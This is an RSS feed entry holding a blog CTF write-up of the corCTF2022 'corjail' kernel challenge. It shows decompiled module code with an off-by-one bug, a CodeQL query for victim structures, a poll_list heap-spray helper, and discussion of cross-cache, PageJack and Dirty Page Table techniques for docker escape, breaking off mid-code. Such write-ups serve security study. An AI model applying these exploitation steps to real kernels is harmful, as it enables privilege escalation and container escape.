<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Kernel on Uniguri&#39;s Blog</title>
    <link>/tags/kernel/</link>
    <description>Recent content in Kernel on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Sun, 06 Apr 2025 12:18:08 +0000</lastBuildDate><atom:link href="/tags/kernel/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>corCTF2022 corjail</title>
      <link>/posts/kernel/write-ups/ctf/corctf2022-corjail/</link>
      <pubDate>Sun, 06 Apr 2025 12:18:08 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/corctf2022-corjail/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source&#34;&gt;&lt;code&gt;5.10.127&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLUB_DEBUG=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLUB=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_HARDENED=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;simple-description&#34;&gt;Simple description&lt;/h3&gt;
&lt;p&gt;The goal of this challenge is escaping docker with seccomp-ed environment by using off-by-one in kmalloc-4k.
The seccomp prohibits us to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/ipc/msgutil.c#L37&#34;&gt;&lt;code&gt;struct msg_msgseg&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;So, we need to find new structure which makes us exploit off-by-one.
And after making RIP control (ROP, or something&amp;hellip;), we have to LPE and Escaping docker.&lt;/p&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;
&lt;p&gt;The module is simple: just prints the count of each syscall called and makes us to filter which syscall&amp;rsquo;s call count will be counted.
It utilizes Syscall statistics patch based on &lt;a href=&#34;https://lwn.net/Articles/896474/&#34;&gt;https://lwn.net/Articles/896474/&lt;/a&gt; (check out &lt;code&gt;build/build_kernel.sh&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I think this function is only one we must read:



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;348591726&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;348591726&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-cormon_proc_write.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int64_t cormon_proc_write(struct file *file, const char *src, size_t size,
                          loff_t *ppos) {
  size_t v5;       // rbp
  const char *v7;  // rbx

  if (*ppos &amp;lt; 0) return -22LL;
  if (size == 0 || (unsigned __int64)*ppos &amp;gt; 0xFFF) return 0LL;
  if (size &amp;gt; 0x1000)
    v5 = 4095LL;
  else
    v5 = size;
  v7 = (const char *)kmem_cache_alloc_trace(
      kmalloc_caches[12], 2592LL,
      4096LL);  // SLAB_CACHE = kmalloc-4096 (0x800 &amp;lt; size &amp;lt;= 0x1000)
  printk(&amp;amp;unk_578, v7);
  if (v7) {
    _check_object_size(v7, v5, 0LL);
    if (copy_from_user(v7, src, v5)) {
      printk(&amp;amp;unk_5D0, src);
      return -14LL;
    } else {
      v7[v5] = 0;  // off-by-one when size=0x1000 -&amp;gt; v5=0x1000
      if ((unsigned int)update_filter(v7)) {
        kfree(v7);
        return -22LL;
      } else {
        kfree(v7);
        return size;
      }
    }
  } else {
    printk(&amp;amp;unk_5A0, 0LL);
    return -12LL;
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;As I wrote on above pseudocode, the vulnerability (off-by-one) is occurs at &lt;code&gt;v7[v5] = 0;&lt;/code&gt;.
Okay.. the off-by-one in kmalloc-4k is all of this challenge&amp;hellip;&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Haha&amp;hellip; okay&amp;hellip; how we can exploit off-by-one in kmalloc-4k without &lt;code&gt;struct msg_msg&lt;/code&gt;&amp;hellip;?
I tried 3 approaches and I solve it with last approach as a result (I think first one was too complex and second one does not works..).&lt;/p&gt;
&lt;h3 id=&#34;first-approach-using-struct-poll_listhttpselixirbootlincomlinuxv510127sourcefsselectcl839&#34;&gt;First approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt;)&lt;/h3&gt;
&lt;h4 id=&#34;finding-victim-object&#34;&gt;Finding victim object&lt;/h4&gt;
&lt;p&gt;My first approach is exploit structure with first member is &lt;code&gt;struct ??? *next&lt;/code&gt; or refcount like &lt;code&gt;atomic_t ???_count&lt;/code&gt;, &lt;code&gt;atomic_long_t ???_count&lt;/code&gt;, or etc.
If the structure has next pointer, we can make UAF by releaseing the object and this is also same if it has recount.&lt;/p&gt;
&lt;p&gt;So I try finding these objects using &lt;a href=&#34;https://codeql.github.com/&#34;&gt;CodeQL&lt;/a&gt;.&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;391468527&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;391468527&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct.sql&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;import cpp
from Field f, Type ty, PointerType p, FunctionCall call
where
    (
        call.getTarget().getName() = &amp;#34;kmalloc&amp;#34; or
        call.getTarget().getName() = &amp;#34;kzalloc&amp;#34; 
    ) and
    call.getActualType() = p and
    p.refersTo(ty) and
    f.getByteOffset() = 0 and
    f.getDeclaringType() = ty and
    (
        f.getType().getName() = &amp;#34;list_head&amp;#34; or 
        f.getName().matches(&amp;#34;%count%&amp;#34;) or
        f.getType().refersToDirectly(ty)
    ) and
    (
        (
            call.getArgument(0).getValue().toInt() &amp;gt; 2048 and
            call.getArgument(0).getValue().toInt() &amp;lt;= 4096
        ) or
        not call.getArgument(0).isConstant()
    )
select ty.getName(), 
    ty.getLocation().toString(), 
    call.getLocation().toString()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And the result is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;217463859&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;217463859&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-codeql_finding_target_struct_result.txt&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;|          col0           |                          col1                           |                        col2                         |
+-------------------------+---------------------------------------------------------+-----------------------------------------------------+
| workqueue_struct        | kernel/workqueue.c:239:8:239:23                         | kernel/workqueue.c:4288:7:4288:13                   |
| posix_acl               | include/linux/posix_acl.h:27:8:27:16                    | fs/posix_acl.c:181:26:181:32                        |
| msg_msg                 | include/linux/msg.h:9:8:9:14                            | ipc/msgutil.c:53:8:53:14                            |
| sem_undo                | ipc/sem.c:146:8:146:15                                  | ipc/sem.c:1940:8:1940:14                            |
| list_head               | include/linux/types.h:178:8:178:16                      | fs/dcookies.c:236:22:236:28                         |
| list_head               | tools/include/linux/types.h:69:8:69:16                  | fs/dcookies.c:236:22:236:28                         |
| perf_buffer             | kernel/events/internal.h:13:8:13:18                     | kernel/events/ring_buffer.c:815:7:815:13            |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:271:16:271:22                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:308:14:308:20                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/channel.c:352:15:352:21                  |
| vmbus_channel_msginfo   | include/linux/hyperv.h:707:8:707:28                     | drivers/hv/vmbus_drv.c:2473:12:2473:18              |
| blk_plug_cb             | include/linux/blkdev.h:1262:8:1262:18                   | block/blk-core.c:1743:7:1743:13                     |
| audit_tree              | kernel/audit_tree.c:13:8:13:17                          | kernel/audit_tree.c:97:9:97:15                      |
| apertures_struct        | include/linux/fb.h:495:9:495:24                         | include/linux/fb.h:509:6:509:12                     |
| Scsi_Host               | include/scsi/scsi_host.h:524:8:524:16                   | drivers/scsi/hosts.c:386:10:386:16                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:453:13:453:19                  |
| neighbour               | include/net/neighbour.h:134:8:134:16                    | net/core/neighbour.c:406:6:406:12                   |
| netdev_hw_addr          | include/linux/netdevice.h:209:8:209:21                  | net/core/dev_addr_lists.c:30:7:30:13                |
| cpu_rmap                | include/linux/cpu_rmap.h:24:8:24:15                     | lib/cpu_rmap.c:39:9:39:15                           |
| poll_list               | fs/select.c:839:8:839:16                                | fs/select.c:1005:23:1005:29                         |
| hpets                   | drivers/char/hpet.c:104:8:104:12                        | drivers/char/hpet.c:858:10:858:16                   |
| resource_entry          | include/linux/resource_ext.h:23:8:23:21                 | kernel/resource.c:1701:10:1701:16                   |
| journal_replay          | drivers/md/bcache/journal.h:83:8:83:21                  | drivers/md/bcache/journal.c:150:8:150:14            |
| md_rdev                 | drivers/md/md.h:48:8:48:14                              | drivers/md/raid0.c:149:18:149:24                    |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2266:7:2266:13  |
| hv_dr_state             | drivers/pci/controller/pci-hyperv.c:517:8:517:18        | drivers/pci/controller/pci-hyperv.c:2231:7:2231:13  |
| iscsi_bus_flash_conn    | include/scsi/scsi_transport_iscsi.h:318:8:318:27        | drivers/scsi/scsi_transport_iscsi.c:1286:15:1286:21 |
| iscsi_bus_flash_session | include/scsi/scsi_transport_iscsi.h:363:8:363:30        | drivers/scsi/scsi_transport_iscsi.c:1237:15:1237:21 |
| iscsi_cls_conn          | include/scsi/scsi_transport_iscsi.h:202:8:202:21        | drivers/scsi/scsi_transport_iscsi.c:2401:9:2401:15  |
| iscsi_cls_session       | include/scsi/scsi_transport_iscsi.h:241:8:241:24        | drivers/scsi/scsi_transport_iscsi.c:2040:12:2040:18 |
| tcmu_tmr                | drivers/target/target_core_user.c:192:8:192:15          | drivers/target/target_core_user.c:1270:8:1270:14    |
| ext4_xattr_inode_array  | fs/ext4/xattr.h:119:8:119:29                            | fs/ext4/xattr.c:2822:15:2822:21                     |
| fscache_cache_tag       | include/linux/fscache-cache.h:43:8:43:24                | fs/fscache/cache.c:41:9:41:15                       |
| mr_table                | include/linux/mroute_base.h:241:8:241:15                | net/ipv4/ipmr_base.c:41:8:41:14                     |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:1714:23:1714:29                |
| pneigh_entry            | include/net/neighbour.h:171:8:171:19                    | net/core/neighbour.c:737:6:737:12                   |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:544:11:544:17                  |
| fib_rule                | include/net/fib_rules.h:20:8:20:15                      | net/core/fib_rules.c:60:6:60:12                     |
| msg_msgseg              | ipc/msgutil.c:37:8:37:17                                | ipc/msgutil.c:68:9:68:15                            |
| audit_chunk             | kernel/audit_tree.c:25:8:25:18                          | kernel/audit_tree.c:193:10:193:16                   |
| kprobe_insn_page        | kernel/kprobes.c:90:8:90:23                             | kernel/kprobes.c:172:8:172:14                       |
| kmalloced_param         | kernel/params.c:39:8:39:22                              | kernel/params.c:50:6:50:12                          |
| nested_table            | lib/rhashtable.c:32:7:32:18                             | lib/rhashtable.c:133:9:133:15                       |
| nf_queue_entry          | include/net/netfilter/nf_queue.h:12:8:12:21             | net/netfilter/nf_queue.c:204:10:204:16              |
| tls_rec                 | include/net/tls.h:99:8:99:14                            | net/tls/tls_sw.c:337:8:337:14                       |
| nh_group                | include/net/nexthop.h:75:8:75:15                        | net/ipv4/nexthop.c:138:8:138:14                     |
| ctnl_timeout            | include/net/netfilter/nf_conntrack_timeout.h:20:8:20:19 | net/netfilter/nfnetlink_cttimeout.c:133:12:133:18   |
| recent_entry            | net/netfilter/xt_recent.c:66:8:66:19                    | net/netfilter/xt_recent.c:191:6:191:12              |
| counted_str             | security/apparmor/include/lib.h:93:8:93:18              | security/apparmor/lib.c:139:8:139:14                |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1404:9:1406:38           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:813:9:816:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:825:9:829:23             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/label.c:428:8:428:14              |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:1117:8:1119:37           |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/domain.c:895:9:897:25             |
| aa_label                | security/apparmor/include/label.h:125:8:125:15          | security/apparmor/mount.c:707:11:709:27             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1691:12:1691:18             |
| aa_buffer               | security/apparmor/lsm.c:47:7:47:15                      | security/apparmor/lsm.c:1611:11:1611:17             |
| ima_rule_opt_list       | security/integrity/ima/ima_policy.c:63:8:63:24          | security/integrity/ima/ima_policy.c:288:13:288:19   |&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I look up these structures and &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L839&#34;&gt;&lt;code&gt;struct poll_list&lt;/code&gt;&lt;/a&gt; is useful.
Because it has &lt;code&gt;struct poll_list *next&lt;/code&gt; at offset 0, it is allocated by &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/select.c#L1067&#34;&gt;&lt;code&gt;poll&lt;/code&gt; system call&lt;/a&gt;, and its size is provided by user.&lt;/p&gt;
&lt;h4 id=&#34;how-to-spray-poll&#34;&gt;How to spray poll?&lt;/h4&gt;
&lt;p&gt;I want to spray &lt;code&gt;struct poll_list&lt;/code&gt; in kmalloc-4k. Therefore I can allocate it and release it when I want.
But since the &lt;code&gt;poll&lt;/code&gt; originally block the user program, we allocate it on other thread (actually we need to allocate it on other process).&lt;/p&gt;
&lt;p&gt;I tried it using &lt;code&gt;pthread_create&lt;/code&gt; but the thread is not created. So I decide to use &lt;code&gt;clone&lt;/code&gt;&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;246518739&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;246518739&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;corCTF2022-corjail-spray_poll.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;int create_poll(void *timeout_ms) {
  pin_to_core(0);
  const int timeout = (int)(int64_t)timeout_ms;
  const int size = (256 - 16) / 8 + (0x1000 - 16) / 8;
  struct pollfd *fds = malloc(size * sizeof(struct pollfd));
  for (int i = 0; i &amp;lt; size; i++) {
    fds[i].fd = 0xdead0000 + i;
    fds[i].events = POLLIN;
  }
  poll(fds, size, timeout);
  free(fds);
}

#define CLONE_STACK_HEAP_ALLOC_COUNT 1024 * 1024
int create_poll_via_clone(int timeout_ms) {
  char child_stack[CLONE_STACK_HEAP_ALLOC_COUNT];
  int pid = clone(create_poll, child_stack, CLONE_VM | SIGCHLD,
                  (void *)(int64_t)timeout_ms);
  return pid;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;slubstickhttpswwwusenixorgconferenceusenixsecurity24presentationmaar-slubstick&#34;&gt;&lt;a href=&#34;https://www.usenix.org/conference/usenixsecurity24/presentation/maar-slubstick&#34;&gt;SLUBStick&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Now I can spray &lt;code&gt;struct poll_list&lt;/code&gt; and trigger off-by-one.
But as you know, we cannot ensure off-by-one will corrupt &lt;code&gt;struct poll_list&lt;/code&gt;&amp;rsquo;s &lt;code&gt;struct poll_list *next&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I decide to use SLUBStick for gathering &lt;code&gt;struct poll_list&lt;/code&gt;s in one (or consecutive) slab cache.
Originally SLUBStic is for a cross-cache attack and cross-cache attack requires that target objects must be in one slab cache.&lt;/p&gt;
&lt;p&gt;By using SLUBStick we can spray &lt;code&gt;struct poll_list&lt;/code&gt;s on one (or consecutive) slab cache.
And so off-by-one will be corrupt its next with high stability.&lt;/p&gt;
&lt;h4 id=&#34;find-another-approace&#34;&gt;Find another approace&lt;/h4&gt;
&lt;p&gt;At this time, I think how I can exploit using &lt;code&gt;struct poll_list&lt;/code&gt;.
My plain was following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Spray &lt;code&gt;struct poll_list&lt;/code&gt; with its next is in kmalloc-8, kmalloc-16, kmalloc-32, kmalloc-64, kmalloc-128, kmalloc-192 (let me call it target cache from now on)&lt;/li&gt;
&lt;li&gt;Trigger off-by-one and make UAF in target cache&lt;/li&gt;
&lt;li&gt;Leak kernel base to bypass KASLR using object in target cache&lt;/li&gt;
&lt;li&gt;Do Cross-Cache attack on target cache and make UAF in kmalloc-1k (for using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L285&#34;&gt;&lt;code&gt;struct tty_struct&lt;/code&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Do ROP using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/keys/user-type.h#L27&#34;&gt;&lt;code&gt;struct user_key_payload&lt;/code&gt;&lt;/a&gt; or other objects&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hmm&amp;hellip; This require cross-cache attack and its stability is low as we know.
That&amp;rsquo;s why I try another approach.&lt;/p&gt;
&lt;p&gt;PS. &lt;a href=&#34;https://syst3mfailure.io/corjail/&#34;&gt;the author&amp;rsquo;s write-up&lt;/a&gt; might do similar thing without cross-cache. Leak address of &lt;code&gt;struct tty_struct&lt;/code&gt; using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/tty.h#L347&#34;&gt;&lt;code&gt;struct tty_file_private&lt;/code&gt;&lt;/a&gt; and make UAF on that &lt;code&gt;struct tty_struct&lt;/code&gt;. And do ROP.&lt;/p&gt;
&lt;h3 id=&#34;second-approach-using-pagejackhttpsiblackhatcombh-us-24presentationsus24-qian-pagejack-a-powerful-exploit-technique-with-page-level-uaf-thursdaypdf&#34;&gt;Second approach (using &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;After searching methods which can exploit off-by-one, I found &lt;a href=&#34;https://i.blackhat.com/BH-US-24/Presentations/US24-Qian-PageJack-A-Powerful-Exploit-Technique-With-Page-Level-UAF-Thursday.pdf&#34;&gt;PageJack&lt;/a&gt;.
It does not require bypass KASLR, corss-cache, and ETC and only require the off-by-one (or OOB write).&lt;/p&gt;
&lt;p&gt;WoW.. I tried it immediately&amp;hellip;.
But it does not works&amp;hellip;. WHY?!?!&lt;/p&gt;
&lt;h4 id=&#34;why-pagejack-does-not-work&#34;&gt;Why PageJack does not work?&lt;/h4&gt;
&lt;p&gt;PageJack utilize &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct page *page&lt;/code&gt;&lt;/a&gt; of &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt;.
With off-by-one (or OOB write) we can overwrite least significant byte of &lt;code&gt;page&lt;/code&gt; and make physical page level UAF as a result.&lt;/p&gt;
&lt;p&gt;After page level UAF, spraying &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L916&#34;&gt;&lt;code&gt;struct file&lt;/code&gt;&lt;/a&gt; will make the UAF page &lt;code&gt;filp&lt;/code&gt; cache (the &lt;code&gt;filp&lt;/code&gt; cache uses only one page).
The &lt;code&gt;struct file&lt;/code&gt;s allocated on new &lt;code&gt;filp&lt;/code&gt; cache (it&amp;rsquo;s UAF page) and we have write primitive on it via pipe.
We can modify &lt;code&gt;fmode_t f_mode&lt;/code&gt; of &lt;code&gt;struct file&lt;/code&gt; via pipe as a result.&lt;/p&gt;
&lt;p&gt;Everything is okay except the &lt;code&gt;const struct file_operations *f_op&lt;/code&gt;.
The write process is following:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    flowchart TD
	    sys_write[sys_write] --&amp;gt; ksys_write
	    ksys_write[ksys_write] --&amp;gt; vfs_write
	    vfs_write[vfs_write] --&amp;gt; write[file-&amp;gt;f_op-&amp;gt;write]
	    vfs_write[vfs_write] --&amp;gt; new_sync_write[new_sync_write]
	    new_sync_write[new_sync_write] --&amp;gt; write_iter[file-&amp;gt;f_op-&amp;gt;write_iter]
	
	    click sys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L667&amp;#34;
	    click ksys_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L647&amp;#34;
	    click vfs_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L585&amp;#34;
	    click new_sync_write &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/read_write.c#L507&amp;#34;
	    click call_write_iter &amp;#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/fs.h#L1900&amp;#34;
&lt;/pre&gt;
&lt;p&gt;Unlike host environment, in docker container &lt;code&gt;f_op&lt;/code&gt; is &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L764&#34;&gt;&lt;code&gt;ovl_file_operations&lt;/code&gt;&lt;/a&gt;.
So, when call &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write&lt;/code&gt; or &lt;code&gt;file-&amp;gt;f_op-&amp;gt;write_iter&lt;/code&gt;, the called function is not same as host and the &lt;code&gt;f_mode&lt;/code&gt; is checked again in &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/fs/overlayfs/file.c#L350&#34;&gt;&lt;code&gt;ovl_write_iter&lt;/code&gt;&lt;/a&gt; (check it yourself!).&lt;/p&gt;

&lt;img src=&#34;https://media1.tenor.com/m/kXWb4lofzQcAAAAC/hiroi-kikuri-hiroi.gif&#34;  alt=&#34;hiroi sad&#34;  class=&#34;center&#34;  style=&#34;border-radius: 8px;&#34;    /&gt;


&lt;p&gt;PS. the &lt;a href=&#34;https://github.com/sajjadium/ctf-archives/tree/main/ctfs/Codegate/2025/Quals/pwn/pew&#34;&gt;pew challenge&lt;/a&gt; of CodeGate 2025 Qual is solved easily by &lt;a href=&#34;https://github.com/Lotuhu/Page-UAF/blob/master/CVE-2021-22555/exp.c&#34;&gt;PageJack PoC&lt;/a&gt; (we need to modify the poc very very little).&lt;/p&gt;
&lt;h3 id=&#34;last-approach-using-struct-pipe_bufferhttpselixirbootlincomlinuxv510127sourceincludelinuxpipe_fs_ihl26-and-dirty-page-tablehttpsyanglingxi1993githubiodirty_pagetabledirty_pagetablehtml&#34;&gt;Last approach (using &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.10.127/source/include/linux/pipe_fs_i.h#L26&#34;&gt;&lt;code&gt;struct pipe_buffer&lt;/code&gt;&lt;/a&gt; and &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;)&lt;/h3&gt;
&lt;p&gt;We cannot use PageJack but we can get physical page level UAF by using it partially.
So, then, we can use &lt;a href=&#34;https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html&#34;&gt;Dirty Page Table&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;uaf-page-to-ptehttpsenwikipediaorgwikipage_tablepage_table_entry-page&#34;&gt;UAF page to &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt; page&lt;/h4&gt;
&lt;p&gt;We can spray &lt;a href=&#34;https://en.wikipedia.org/wiki/Page_table#Page_table_entry&#34;&gt;PTE&lt;/a&gt;s via &lt;code&gt;mmap&lt;/code&gt; and cause page fault by write to each memory. But I tried like below I failed to allocate PTEs on UAF page.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; MMAP_SPRAY_COUNT; &lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;i) {
